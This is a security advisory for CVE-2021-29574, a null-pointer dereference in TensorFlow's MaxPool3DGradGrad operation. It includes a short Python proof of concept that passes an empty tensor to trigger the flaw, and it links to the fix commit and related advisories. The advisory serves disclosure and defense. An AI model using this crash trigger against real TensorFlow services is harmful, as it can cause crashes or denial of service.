CVE-2021-29574: Undefined behavior in `MaxPool3DGradGrad`
(updated )
The implementation of tf.raw_ops.MaxPool3DGradGrad exhibits undefined behavior by dereferencing null pointers backing attacker-supplied empty tensors:
import tensorflow as tf
orig_input = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
ksize = [1, 1, 1, 1, 1]
strides = [1, 1, 1, 1, 1]
padding = "SAME"
tf.raw_ops.MaxPool3DGradGrad(
orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
strides=strides, padding=padding)
References
- github.com/advisories/GHSA-828x-qc2p-wprq
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-502.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-700.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-211.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/a3d9f9be9ac2296615644061b40cefcee341dcc4
- github.com/tensorflow/tensorflow/security/advisories/GHSA-828x-qc2p-wprq
- nvd.nist.gov/vuln/detail/CVE-2021-29574
Code Behaviors & Features
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